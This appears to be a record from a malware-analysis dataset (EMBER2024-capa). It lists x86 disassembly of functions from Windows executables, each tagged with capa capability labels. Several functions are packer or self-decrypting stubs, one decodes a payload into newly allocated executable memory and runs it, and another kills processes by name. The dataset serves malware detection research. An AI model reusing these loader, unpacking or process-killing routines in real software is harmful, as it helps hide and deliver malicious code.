joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4f3eb8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov esi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4f3f36
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004049e4
mov eax, dword [ebp - 4]
call fcn.00404ca4
mov ebx, eax
test ebx, ebx
jle 0x4f3f1b
mov edi, 1
lea eax, [ebp - 8]
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
xor dl, 5
call fcn.00404bcc
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.00404cac
inc edi
dec ebx
jne 0x4f3efb
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f3f3d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404a08
ret

Function at 0x4f3f44
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x140], edx
mov dword [ebp - 0x148], edx
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x130], edx
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
lea edi, [ebp - 0x12c]
xor eax, eax
push ebp
push 0x4f40be
push dword fs:[eax]
mov dword fs:[eax], esp
xor esi, esi
xor edx, edx
mov eax, 2
call fcn.004b8230
mov ebx, eax
mov dword [edi], 0x128
mov edx, edi
mov eax, ebx
call fcn.004b8250
cmp eax, 1
sbb eax, eax
inc eax
jmp 0x4f408a
lea eax, [ebp - 0x138]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x134]
call fcn.00409a48
mov eax, dword [ebp - 0x134]
lea edx, [ebp - 0x130]
call fcn.00408d00
mov eax, dword [ebp - 0x130]
push eax
lea edx, [ebp - 0x13c]
mov eax, dword [ebp - 4]
call fcn.00408d00
mov edx, dword [ebp - 0x13c]
pop eax
call fcn.00404df0
je 0x4f4064
lea eax, [ebp - 0x144]
lea edx, [edi + 0x24]
mov ecx, 0x104
call fcn.00404c54
mov eax, dword [ebp - 0x144]
lea edx, [ebp - 0x140]
call fcn.00408d00
mov eax, dword [ebp - 0x140]
push eax
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 4]
call fcn.00408d00
mov edx, dword [ebp - 0x148]
pop eax
call fcn.00404df0
jne 0x4f407b
push 0
mov eax, dword [edi + 8]
push eax
push 0
push 1
call sub.kernel32.dll_OpenProcess
push eax
call sub.kernel32.dll_TerminateProcess
mov esi, eax
mov edx, edi
mov eax, ebx
call fcn.004b8270
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4f3fc5
push ebx
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f40c5
lea eax, [ebp - 0x148]
mov edx, 7
call fcn.00404a08
lea eax, [ebp - 4]
call fcn.004049e4
ret
Function at 0x4f4188
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404e94
xor eax, eax
push ebp
push 0x4f41e5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
call fcn.00404ea4
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 4]
call fcn.004f3f44
push 0x12c
call sub.kernel32.dll_Sleep_1
mov eax, dword [ebp - 4]
call fcn.00409928
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4f41ec
lea eax, [ebp - 4]
call fcn.004049e4
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x7dc6d0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7dc6da
pushal
call 0x7dc6e0
pop ebp
sub ebp, 0x10
sub ebp, 0x3dc6d0
mov al, byte [esp + 0x28]
cmp al, 1
je 0x7dc704
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x7dc70d
mov eax, 0x3dc6d0
add eax, ebp
add eax, 0x63
mov ecx, 0x5f5
mov edx, 0x36067f5d
xor byte [eax], dl
inc eax
dec ecx
jne 0x7dc724
invalid
jmp 0x7dc737
salc
nop
salc
aam 0x61
pop ebp
pop ebp
pop ebp
fcomp qword [ebp + 0x5e5d5d5d]
nop
in eax, 0x5f
pop ebp
pop ebp
pop ebp
out 0x75, eax
pop ebp
pop ebp
pop ebp
stosb byte es:[edi], al
mov edi, 0xdcd6955e
push ecx
pop ebp
pop ebp
pop ebp
pop esi
cwde
or eax, 0xa17939d0
aam 0x59
jns 0x7dc79b
test eax, 0x355d53d9
sbb dword [edx + esi*2], 0x79715c5d
xor eax, 0x729e5750
mov ch, 0x58
push eax
push edi
sahf
jb 0x7dc72d
pop eax
pop ebp
pop ebp
pop ebp
mov ah, 0x73
pop ebp
pop ebp
pop ebp
or byte [ecx], cl
add dh, dl
fcom dword [ebp + 0x5d]
pop ebp
pop ebp
salc
enter 0x5d51, 0x5d
pop ebp
salc
ror byte [ebp + 0x5d], 1
pop ebp
pop ebp
pushfd
mov ah, 0x5f
insb byte es:[edi], dx
pop edi
ficomp word [edi - 0x27adeba7]
test eax, 0xd6a2a2a2
jno 0x7dc821
sar byte [ecx], 1
jns 0x7dc805
lahf
push ecx
pop ebp
salc
sar dword [ecx + 0x59], 1
pop ebp
pop ebp
pop ebp
xor eax, 0x5d53d9a9
xor eax, 0x5d721c81
pop esp
jno 0x7dc83c
or al, 0xb5
pop eax
pop ebp
pop ebp
pop ebp
mov ah, 0x16
pop edi
pop ebp
pop ebp
sar byte [ecx], 1
jns 0x7dc773
aam 0x71
jns 0x7dc7df
add byte [edx + 0x28a25128], ah
push ebp
mov ch, 0x25
and eax, 0xd65d5d5d
pop ebp
pop ebp
pop ebp
salc
loopne 0x7dc83a
pop ebp
pop ebp
pop ebp
fsubr qword [esi + eax - 0x238b406b]
lodsb al, byte [esi]
push es
xchg ebp, eax
mov edi, 0x6e946e74
invalid
pop ebp
pop ebp
pop ebp
cmp edx, esi
inc ecx
frstor dword fs:[esi + 0x47d952b5]
pop ebp
pop ebp
pop ebp
frstor dword [esi + 0x4cd952b4]
pop ebp
pop ebp
pop ebp
cmp ebx, esp
cmpsb byte [esi], byte es:[edi]
mov byte [0x48d95278], al
pop ebp
pop ebp
pop ebp
sbb al, 0xb4
xchg ecx, eax
mov byte [0x1174a2a2], al
pop esp
ficomp word [eax + ebx*2 - 0x4ba64a22]
invalid
loopne 0x7dc7de
mov byte [0x640974a2], al
pop edi
ficomp word [ebx + ebx*2 - 0x21a64822]
mov ch, 0x58
mov ah, 0xf6
mov byte [0x71d6a2a2], al
jns 0x7dc824
cmp dword [ecx + 0x59], edi
lahf
push ecx
pop ebp
or dh, dl
mov cl, 0xb
or cl, byte [eax]
salc
sub byte [ecx - 0x2a], dl
and byte [ebp - 0x5f], dl
out dx, eax
fst st(7)
pop ebx
fcomp qword [ebx + 0x5d5d5d5c]
aad 0x5a
fcomp qword [edx + 0x5d5d5d5c]
out 0x5f, al
pop ebp
pop ebp
pop ebp
pop edi
invalid
Function at 0x7c693c94
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7c693c9e
pushal
call 0x7c693ca4
pop ebp
sub ebp, 0x10
sub ebp, 0x403c94
mov al, byte [esp + 0x28]
cmp al, 1
je 0x7c693cc8
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x7c693cd1
mov eax, 0x403c94
add eax, ebp
add eax, 0x63
mov ecx, 0x617
mov edx, 0x750354c1
xor byte [eax], dl
inc eax
dec ecx
jne 0x7c693ce8
jmp 0x7c693cfb
dec edx
or al, 0x4a
dec eax
std
rol ecx, 0xc1
inc eax
add byte [ecx], bh
rol ecx, 0xc1
ret 0x790c
Function at 0x405a3d
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
push eax
and dword [eax + 0x24], 0
mov dword [eax], 0x3c
call dword [sym.imp.shell32.dll_ShellExecuteExW]
ret 4

Function at 0x405b23
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x405b32
pop dword [ebp - 0x4c]
mov eax, 0xca8cb266
add eax, 0x35b3a8cc
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xe9aaa45f
add dword [ebp - 0x5c], 0x64a7a0ec
mov dword [ebp - 0x58], 0xf7f82b2f
add dword [ebp - 0x58], 0x3a3b2116
mov dword [ebp - 0x54], 0x747b334
add dword [ebp - 0x54], 0x450490fa
mov dword [ebp - 0x50], 0x25475c14
add dword [ebp - 0x50], 0xdab8a3ec
lea eax, [ebp - 0x5c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xdd93fe60
sub dword [ebp - 0x5c], 0x6921950a
mov dword [ebp - 0x58], 0x75469294
add dword [ebp - 0x58], 0xcc25cee1
mov dword [ebp - 0x54], 0xe1a943bf
add dword [ebp - 0x54], 0x81c628ad
mov dword [ebp - 0x50], 0x36c3a985
add dword [ebp - 0x50], 0xc93c567b
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x8860a99f
sub eax, 0x88202923
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3938c
push 0
call eax
mov ecx, 0x50d9
mov edx, eax
mov esi, 0xbecc7587
sub esi, 0xbe86e387
add esi, dword [ebp - 0x4c]
mov ebx, 0xe9e1cde6
add ebx, 0xdd2cdbe
sub dword [ebp - 0x3c], 0x18e635c5
mov edi, dword [esi]
sub dword [ebp - 0x30], edi
xor edi, ebx
add dword [ebp - 0x3c], edi
mov dword [edx], edi
sub dword [ebp - 0x14], eax
add edx, 4
add esi, 0x604409e1
add esi, 0x9fbbf623
loop 0x405c49
add eax, 0xb93dd68a
add eax, 0x46c35fad
xor ebx, ebx
add ebx, eax
add eax, 0x67a78317
add eax, 0x98587cee
mov ecx, 0x4c11bb8d
add ecx, 0xb42e4473
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x405dee
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa70
push esi
call fcn.00406411
push esi
call fcn.00405d91
mov edi, eax
test edi, edi
jne 0x405e0f
xor eax, eax
jmp 0x405e67
push edi
call fcn.004066c0
test byte [0x434f1c], 0x80
je 0x405e2c
mov ax, word [edi]
test ax, ax
je 0x405e0b
cmp ax, 0x5c
je 0x405e0b
sub edi, esi
sar edi, 1
jmp 0x405e46
call fcn.0040676f
test eax, eax
je 0x405e40
test byte [eax], 0x10
je 0x405e0b
push esi
call fcn.00405d32
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405e32
call fcn.00405ce6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405ee2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405f01
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4
Function at 0x4068f3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x43190c], 0
push esi
jne 0x40692a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406904
mov dword [ecx*4 + 0x431908], eax
inc ecx
cmp ecx, 0x100
jl 0x4068ff
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40695b
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x431908]
xor eax, esi
inc ecx
dec edx
jne 0x40693d
pop edi
not eax
pop esi
ret 0xc

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x508a4162
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x42cd70
mov ecx, 0x38431a7
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4047f2
Capabilities:
Hash data using sha256

Disassembly:
cmp dword [0x44e578], 2
push esi
push edi
mov edi, eax
mov esi, ecx
jl 0x404806
call fcn.0040367f
mov ecx, esi
call fcn.004047cf
xor eax, eax
mov edx, dword [eax + 0x42a488]
mov ecx, dword [esi + 0xf4]
mov dword [eax + ecx], edx
add eax, 4
cmp eax, 0x20
jl 0x40480f
mov eax, dword [esi + 0xf4]
xor dword [eax], 0x2080020
mov eax, dword [esi + 0xf4]
mov ecx, dword [esp + 0xc]
xor dword [eax + 8], ecx
mov esi, dword [esi + 0xf4]
or edi, 0x2000
shl edi, 0x10
xor dword [esi + 0xc], edi
pop edi
pop esi
ret 4
Function at 0x4053a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push edi
test esi, esi
jbe 0x4053d5
test cl, 7
je 0x4053d5
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4305a0]
dec esi
inc ecx
jmp 0x4053b6
cmp esi, 8
jb 0x405478
mov edx, esi
shr edx, 3
mov dword [ebp + 8], edx
push ebx
mov edx, dword [ecx + 4]
xor eax, dword [ecx]
mov ebx, edx
shr ebx, 0x10
movzx edi, bl
mov edi, dword [edi*4 + 0x4309a0]
mov ebx, edx
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4305a0]
mov ebx, edx
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x430da0]
mov ebx, eax
shr ebx, 0x18
xor edi, dword [ebx*4 + 0x4315a0]
mov ebx, eax
shr ebx, 0x10
movzx ebx, bl
xor edi, dword [ebx*4 + 0x4319a0]
mov ebx, eax
shr ebx, 8
movzx ebx, bl
xor edi, dword [ebx*4 + 0x431da0]
movzx edx, dl
xor edi, dword [edx*4 + 0x4311a0]
movzx eax, al
xor edi, dword [eax*4 + 0x4321a0]
sub esi, 8
add ecx, 8
dec dword [ebp + 8]
mov eax, edi
jne 0x4053e7
pop ebx
jmp 0x405478
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4305a0]
dec esi
inc ecx
test esi, esi
ja 0x405464
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x405739
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d0
push ebx
push esi
mov esi, dword [ebp + 0xc]
push 0x40
pop ebx
cmp esi, ebx
jbe 0x405783
lea eax, [ebp - 0x1d0]
push eax
call fcn.0040ffca
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1d0]
push eax
call fcn.004102cc
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x1d0]
push eax
call fcn.00410345
lea eax, [ebp - 0x80]
push 0x20
mov dword [ebp + 8], eax
pop esi
xor ecx, ecx
push edi
test esi, esi
jbe 0x4057a3
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x36
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405792
cmp esi, ebx
jae 0x4057bb
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x36
push eax
call fcn.00419de0
add esp, 0xc
lea eax, [ebp - 0xf0]
push eax
call fcn.0040ffca
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.004102cc
push dword [ebp + 0x14]
lea eax, [ebp - 0xf0]
push dword [ebp + 0x10]
push eax
call fcn.004102cc
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xf0]
push eax
call fcn.00410345
lea eax, [ebp - 0x160]
push eax
call fcn.0040ffca
xor ecx, ecx
test esi, esi
jbe 0x405825
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x40]
sub edi, eax
lea eax, [ebp + ecx - 0x40]
mov dl, byte [edi + eax]
xor dl, 0x5c
inc ecx
mov byte [eax], dl
cmp ecx, esi
jb 0x405814
pop edi
cmp esi, ebx
jae 0x40583e
mov ecx, ebx
sub ecx, esi
push ecx
lea eax, [ebp + esi - 0x40]
push 0x5c
push eax
call fcn.00419de0
add esp, 0xc
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.004102cc
push 0x20
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x160]
push eax
call fcn.004102cc
push dword [ebp + 0x18]
lea eax, [ebp - 0x160]
push eax
call fcn.00410345
pop esi
pop ebx
leave
ret 0x14
Function at 0x405876
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x58]
sub esp, 0xbc
push esi
mov esi, dword [ebp + 0x6c]
push edi
push 0x40
pop eax
cmp esi, eax
jae 0x40588f
mov eax, esi
push eax
push dword [ebp + 0x68]
lea eax, [ebp - 0x44]
push eax
call fcn.0041b850
add esp, 0xc
lea eax, [ebp + 0x20]
push eax
mov byte [ebp + esi - 0x44], 0
mov byte [ebp + esi - 0x43], 0
mov byte [ebp + esi - 0x42], 0
mov byte [ebp + esi - 0x41], 1
add esi, 4
push esi
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 0x64]
push dword [ebp + 0x60]
call fcn.00405739
push 0x20
pop esi
push esi
lea eax, [ebp + 0x20]
push eax
lea eax, [ebp]
push eax
call fcn.0041b850
mov eax, dword [ebp + 0x7c]
add esp, 0xc
dec eax
mov dword [ebp + 0x4c], eax
push 0x10
pop eax
mov dword [ebp + 0x50], eax
mov dword [ebp + 0x54], eax
mov eax, dword [ebp + 0x70]
mov dword [ebp + 0x40], eax
mov eax, dword [ebp + 0x74]
mov dword [ebp + 0x44], eax
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x48], eax
xor edi, edi
mov eax, dword [ebp + edi + 0x4c]
test eax, eax
jbe 0x405946
mov dword [ebp + 0x6c], eax
lea eax, [ebp - 0x64]
push eax
push esi
lea eax, [ebp + 0x20]
push eax
push dword [ebp + 0x64]
push dword [ebp + 0x60]
call fcn.00405739
push esi
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp + 0x20]
push eax
call fcn.0041b850
add esp, 0xc
xor eax, eax
mov cl, byte [ebp + eax + 0x20]
xor byte [ebp + eax], cl
inc eax
cmp eax, esi
jb 0x405934
dec dword [ebp + 0x6c]
jne 0x40590d
push esi
lea eax, [ebp]
push eax
push dword [ebp + edi + 0x40]
call fcn.0041b850
add edi, 4
add esp, 0xc
cmp edi, 0xc
jb 0x405902
push 0x44
lea eax, [ebp - 0x44]
push eax
call fcn.0040ca6a
push esi
lea eax, [ebp]
push eax
call fcn.0040ca6a
push esi
lea eax, [ebp + 0x20]
push eax
call fcn.0040ca6a
push esi
lea eax, [ebp - 0x64]
push eax
call fcn.0040ca6a
pop edi
pop esi
add ebp, 0x58
leave
ret 0x20
Function at 0x405991
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
cmp dword [ebp + 0x1c], 0x18
push edi
mov edi, ecx
mov dword [ebp - 8], edi
ja 0x405b4b
and dword [ebp - 4], 0
push ebx
push esi
lea ebx, [edi + 0x4b4]
mov eax, dword [ebp + 0x1c]
lea esi, [ebx + 0x102]
cmp dword [esi + 0x32], eax
jne 0x4059e8
push dword [ebp + 0xc]
mov ecx, ebx
call fcn.0040cb45
test al, al
je 0x4059e8
push 0x10
push dword [ebp + 0x14]
push esi
call fcn.0041a1c4
add esp, 0xc
test eax, eax
je 0x405b50
inc dword [ebp - 4]
add ebx, 0x178
cmp dword [ebp - 4], 4
jb 0x4059b6
mov esi, 0x200
push esi
lea eax, [ebp - 0x268]
push eax
push dword [ebp + 0x10]
call fcn.0041148e
mov ecx, dword [ebp + 0x1c]
xor eax, eax
inc eax
shl eax, cl
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x48]
push eax
push 0x10
push dword [ebp + 0x14]
lea eax, [ebp - 0x268]
push eax
call fcn.0041a020
pop ecx
push eax
lea eax, [ebp - 0x268]
push eax
call fcn.00405876
push esi
lea eax, [ebp - 0x268]
push eax
call fcn.0040ca6a
mov esi, dword [ebp + 0xc]
lea eax, [edi + 0xa94]
mov ecx, dword [eax]
mov edx, ecx
and edx, 3
imul edx, edx, 0x178
lea ebx, [edx + edi + 0x4b4]
inc ecx
mov dword [eax], ecx
mov eax, dword [ebp + 0x1c]
push 0x40
pop ecx
mov dword [ebx + 0x134], eax
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
push 0x10
push dword [ebp + 0x14]
lea eax, [ebx + 0x102]
push eax
movsw word es:[edi], word [esi]
call fcn.0041b850
push 0x20
pop esi
push esi
lea eax, [ebp - 0x48]
push eax
lea edi, [ebx + 0x112]
push edi
call fcn.0041b850
push esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebx + 0x138]
push eax
call fcn.0041b850
push esi
lea eax, [ebp - 0x68]
push eax
add ebx, 0x158
push ebx
call fcn.0041b850
add esp, 0x30
push 0
push 1
push esi
push edi
call fcn.0040c9bc
mov edi, dword [ebp - 8]
cmp dword [ebp + 0x20], 0
je 0x405aed
push esi
lea eax, [ebp - 0x68]
push eax
push dword [ebp + 0x20]
call fcn.0041b850
add esp, 0xc
mov ebx, dword [ebp + 0x24]
test ebx, ebx
je 0x405b1f
push 8
push 0
push ebx
call fcn.00419de0
add esp, 0xc
xor ecx, ecx
mov dl, byte [ebp + ecx - 0x28]
mov eax, ecx
and eax, 7
add eax, ebx
xor byte [eax], dl
inc ecx
cmp ecx, esi
jb 0x405b03
push esi
lea eax, [ebp - 0x28]
push eax
call fcn.0040ca6a
cmp dword [ebp + 0x18], 0
je 0x405b3f
push dword [ebp + 0x18]
lea eax, [ebp - 0x48]
push 0x100
push eax
push dword [ebp + 8]
lea ecx, [edi + 0xa9c]
call fcn.0040c519
push esi
lea eax, [ebp - 0x48]
push eax
call fcn.0040ca6a
pop esi
pop ebx
pop edi
leave
ret 0x20
push 0
push 0
push 0x20
pop esi
lea eax, [ebx + 0x112]
push esi
push eax
call fcn.0040c9bc
push esi
lea eax, [ebx + 0x112]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.0041b850
add esp, 0xc
push 0
push 1
push esi
lea eax, [ebx + 0x112]
push eax
call fcn.0040c9bc
push esi
lea eax, [ebx + 0x138]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0041b850
push esi
add ebx, 0x158
lea eax, [ebp - 0x68]
push ebx
push eax
call fcn.0041b850
add esp, 0x18
jmp 0x405ad7
Function at 0x405c5b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 2
jne 0x405ca7
mov eax, dword [esi + 4]
mov dword [ebp + 8], eax
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp + 8]
push eax
push 0x20
push dword [ebp + 0xc]
call fcn.00405739
xor edx, edx
mov dword [esi + 4], edx
xor eax, eax
push ebx
movzx ebx, byte [ebp + eax - 0x20]
mov ecx, eax
and ecx, 3
shl ecx, 3
shl ebx, cl
xor edx, ebx
inc eax
cmp eax, 0x20
jb 0x405c8c
mov dword [esi + 4], edx
pop ebx
cmp dword [esi], 3
jne 0x405ccf
lea eax, [ebp - 0x20]
push eax
push 0x20
add esi, 4
push esi
push 0x20
push dword [ebp + 0xc]
call fcn.00405739
push 0x20
lea eax, [ebp - 0x20]
push eax
push esi
call fcn.0041b850
add esp, 0xc
pop esi
leave
ret 8
Function at 0x40806d
Capabilities:
Move file

Disassembly:
mov eax, 0x428ee3
call fcn.00419aa0
mov eax, 0x5028
call fcn.0041a0b0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov esi, 0x800
push esi
lea eax, [ebp - 0x5034]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x40822a
cmp eax, esi
jae 0x40822a
push esi
lea eax, [ebp - 0x4034]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x40822a
cmp eax, esi
jae 0x40822a
lea eax, [ebp - 0x5034]
push eax
call fcn.00409f03
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x4034]
push eax
call fcn.00409f03
mov edi, eax
cmp word [edi], 0
je 0x40822a
push edi
push dword [ebp - 0x10]
call fcn.00411707
test eax, eax
je 0x40822a
push edi
push ebx
call fcn.00409f03
push eax
call fcn.00411707
test eax, eax
jne 0x40822a
mov word [ebp - 0x1010], ax
xor edi, edi
cmp word [ebp - 0x1010], 0
jne 0x408186
push esi
push ebx
lea eax, [ebp - 0x1010]
push eax
call fcn.004104b8
push edi
push str.rtmp_d
push esi
lea eax, [ebp - 0x1010]
push eax
call fcn.00409f03
push eax
call fcn.0040b6dd
add esp, 0x10
lea eax, [ebp - 0x1010]
push eax
call fcn.00408e1a
test al, al
je 0x40816d
xor eax, eax
mov word [ebp - 0x1010], ax
add edi, 0x7b
cmp edi, 0x2710
jl 0x408120
cmp word [ebp - 0x1010], 0
je 0x40822a
push esi
push ebx
lea eax, [ebp - 0x3034]
push eax
call fcn.004104b8
push esi
push dword [ebp - 0x10]
lea eax, [ebp - 0x3034]
push eax
call fcn.0040a06d
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x3034]
push eax
call esi
test eax, eax
je 0x40822a
lea ecx, [ebp - 0x2034]
call fcn.0040830b
push dword [ebp + 8]
and dword [ebp - 4], 0
xor bl, bl
call fcn.00408e1a
test al, al
jne 0x4081ed
push 0x12
push dword [ebp + 8]
lea ecx, [ebp - 0x2034]
call fcn.004084a8
mov bl, al
lea eax, [ebp - 0x3034]
push eax
lea eax, [ebp - 0x1010]
push eax
call esi
test bl, bl
je 0x408217
lea ecx, [ebp - 0x2034]
call fcn.004085b7
lea ecx, [ebp - 0x2034]
call fcn.00408605
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2034]
call fcn.004087f2
mov al, 1
jmp 0x40822c
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4